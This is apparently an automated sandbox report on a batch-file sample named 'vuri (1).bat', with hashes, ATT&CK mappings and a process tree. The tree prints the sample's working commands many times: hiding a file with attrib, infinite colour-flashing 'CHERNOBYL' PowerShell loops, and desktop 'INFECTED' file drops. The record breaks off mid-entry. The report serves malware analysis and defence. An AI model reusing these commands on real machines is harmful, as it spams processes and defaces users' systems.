2136e0d3e7c145304183a1521da6c87cc1b243e2dceda0ee078d3a44700c9f7f

Analysis

max time kernel
10s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/09/2026, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vuri (1).bat
Size 2KB
Sample260928-pxmapavs5n
SHA256 2136e0d3e7c145304183a1521da6c87cc1b243e2dceda0ee078d3a44700c9f7f
MD5 7fa693cd800e199259d68bbb024662de
SHA1 cdfa5828617ca791965327630dec82934af288e5
SHA512 dde4edb38f69d3cbf24bb48e9e49cd8de114900ad5eddeddb46495a33015fe6856c8cedc0d2c1074d00b4a2102b2fe2edf8cfa4650f7b57226f788ffe75c01c4
TLSH
T17F51C79B1F9400AB94439E27C1ABE242790EB4B8A0C47F403294D19AB64504FDBF2CE8
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1416	takeown.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
4384	powershell.exe
2284	powershell.exe
4748	powershell.exe
4104	powershell.exe
3660	powershell.exe
204	powershell.exe
5988	powershell.exe
4604	powershell.exe
4600	powershell.exe
5116	powershell.exe
2208	powershell.exe
2592	powershell.exe
2820	powershell.exe
3744	powershell.exe
3500	powershell.exe
2492	powershell.exe
4960	powershell.exe
248	powershell.exe
120	powershell.exe
668	powershell.exe
4304	powershell.exe
4432	powershell.exe
4088	powershell.exe
5400	powershell.exe
3596	powershell.exe
3344	powershell.exe
1492	powershell.exe
1840	powershell.exe
5768	powershell.exe
5592	powershell.exe

Enumerates connected drives 3 TTPs 7 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
688	powershell.exe
3940	powershell.exe

Executes a command shell one-liner 1 TTPs 32 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4284	cmd.exe
5784	cmd.exe
1184	cmd.exe
5192	cmd.exe
5628	cmd.exe
4892	cmd.exe
4588	cmd.exe
5408	cmd.exe
5992	cmd.exe
1472	cmd.exe
2108	cmd.exe
5928	cmd.exe
4936	cmd.exe
3336	cmd.exe
2696	cmd.exe
2232	cmd.exe
5036	cmd.exe
108	cmd.exe
5032	cmd.exe
4716	cmd.exe
3356	cmd.exe
256	cmd.exe
400	cmd.exe
2528	cmd.exe
1456	cmd.exe
1044	cmd.exe
5888	cmd.exe
4164	cmd.exe
2244	cmd.exe
5936	cmd.exe
4916	cmd.exe
5296	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe
5592	powershell.exe
5592	powershell.exe
688	powershell.exe
688	powershell.exe
5592	powershell.exe
3940	powershell.exe
688	powershell.exe
4088	powershell.exe
4088	powershell.exe
2492	powershell.exe
2492	powershell.exe
120	powershell.exe
120	powershell.exe
204	powershell.exe
204	powershell.exe
4088	powershell.exe
204	powershell.exe
5116	powershell.exe
5116	powershell.exe
2820	powershell.exe
2820	powershell.exe
4104	powershell.exe
4104	powershell.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
2592	powershell.exe
2592	powershell.exe
5988	powershell.exe
5988	powershell.exe
2208	powershell.exe
2208	powershell.exe
4960	powershell.exe
4960	powershell.exe
3744	powershell.exe
3744	powershell.exe
4600	powershell.exe
4600	powershell.exe
4468	powershell.exe
4468	powershell.exe
4604	powershell.exe
4604	powershell.exe
3744	powershell.exe
3344	powershell.exe
3344	powershell.exe
1492	powershell.exe
1492	powershell.exe
4384	powershell.exe
4384	powershell.exe
3596	powershell.exe
3596	powershell.exe
5768	powershell.exe
5768	powershell.exe
3500	powershell.exe
3500	powershell.exe
2284	powershell.exe
2284	powershell.exe
1840	powershell.exe
1840	powershell.exe
4304	powershell.exe
4432	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	1416	takeown.exe
Token: SeDebugPrivilege	5592	powershell.exe
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	120	powershell.exe
Token: SeDebugPrivilege	204	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	5768	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4916 wrote to memory of 4832	4916	cmd.exe	90
PID 4916 wrote to memory of 4088	4916	cmd.exe	91
PID 4916 wrote to memory of 5408	4916	cmd.exe	92
PID 4916 wrote to memory of 5116	4916	cmd.exe	93
PID 4916 wrote to memory of 1184	4916	cmd.exe	94
PID 4916 wrote to memory of 4304	4916	cmd.exe	95
PID 4916 wrote to memory of 4716	4916	cmd.exe	96
PID 4916 wrote to memory of 2492	4916	cmd.exe	97
PID 4916 wrote to memory of 5888	4916	cmd.exe	99
PID 4916 wrote to memory of 4104	4916	cmd.exe	100
PID 4916 wrote to memory of 5032	4916	cmd.exe	101
PID 4916 wrote to memory of 4600	4916	cmd.exe	102
PID 4916 wrote to memory of 5036	4916	cmd.exe	103
PID 4916 wrote to memory of 4604	4916	cmd.exe	104
PID 4916 wrote to memory of 1044	4916	cmd.exe	105
PID 4916 wrote to memory of 4748	4916	cmd.exe	106
PID 4916 wrote to memory of 5936	4916	cmd.exe	107
PID 4916 wrote to memory of 3596	4916	cmd.exe	108
PID 4916 wrote to memory of 2244	4916	cmd.exe	109
PID 4916 wrote to memory of 5768	4916	cmd.exe	110
PID 4916 wrote to memory of 1456	4916	cmd.exe	111
PID 4916 wrote to memory of 1492	4916	cmd.exe	112
PID 4916 wrote to memory of 4936	4916	cmd.exe	113
PID 4916 wrote to memory of 3500	4916	cmd.exe	114
PID 4916 wrote to memory of 2232	4916	cmd.exe	115
PID 4916 wrote to memory of 5988	4916	cmd.exe	116
PID 4916 wrote to memory of 4588	4916	cmd.exe	117
PID 4916 wrote to memory of 3744	4916	cmd.exe	118
PID 4916 wrote to memory of 5784	4916	cmd.exe	120
PID 4916 wrote to memory of 1840	4916	cmd.exe	121
PID 4916 wrote to memory of 4892	4916	cmd.exe	122
PID 4916 wrote to memory of 5400	4916	cmd.exe	123
PID 4916 wrote to memory of 2528	4916	cmd.exe	124
PID 4916 wrote to memory of 4432	4916	cmd.exe	125
PID 4916 wrote to memory of 5628	4916	cmd.exe	126
PID 4916 wrote to memory of 668	4916	cmd.exe	127
PID 4916 wrote to memory of 2696	4916	cmd.exe	128
PID 4916 wrote to memory of 2820	4916	cmd.exe	129
PID 4916 wrote to memory of 5192	4916	cmd.exe	130
PID 4916 wrote to memory of 2284	4916	cmd.exe	131
PID 4916 wrote to memory of 5928	4916	cmd.exe	132
PID 4916 wrote to memory of 120	4916	cmd.exe	133
PID 4916 wrote to memory of 400	4916	cmd.exe	134
PID 4916 wrote to memory of 204	4916	cmd.exe	135
PID 4916 wrote to memory of 108	4916	cmd.exe	136
PID 4916 wrote to memory of 248	4916	cmd.exe	137
PID 4916 wrote to memory of 256	4916	cmd.exe	138
PID 4916 wrote to memory of 3660	4916	cmd.exe	139
PID 4916 wrote to memory of 4284	4916	cmd.exe	140
PID 4916 wrote to memory of 4384	4916	cmd.exe	141
PID 4916 wrote to memory of 5992	4916	cmd.exe	142
PID 4916 wrote to memory of 4468	4916	cmd.exe	144
PID 4916 wrote to memory of 2108	4916	cmd.exe	145
PID 4916 wrote to memory of 4960	4916	cmd.exe	147
PID 4916 wrote to memory of 4164	4916	cmd.exe	166
PID 4916 wrote to memory of 2592	4916	cmd.exe	191
PID 4916 wrote to memory of 3336	4916	cmd.exe	192
PID 4916 wrote to memory of 2208	4916	cmd.exe	193
PID 4916 wrote to memory of 5296	4916	cmd.exe	194
PID 4916 wrote to memory of 3344	4916	cmd.exe	196
PID 4916 wrote to memory of 1472	4916	cmd.exe	197
PID 4916 wrote to memory of 3940	4916	cmd.exe	198
PID 4916 wrote to memory of 688	4916	cmd.exe	199
PID 4916 wrote to memory of 3356	4916	cmd.exe	200

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4832	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vuri (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\system32\attrib.exe
  attrib +h +r +s chernobyl_warning.txt
  2⤵
  - Views/modifies file attributes
  PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4088
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5116
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4604
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3596
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5768
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3500
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5988
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3744
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5400
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4432
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:120
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
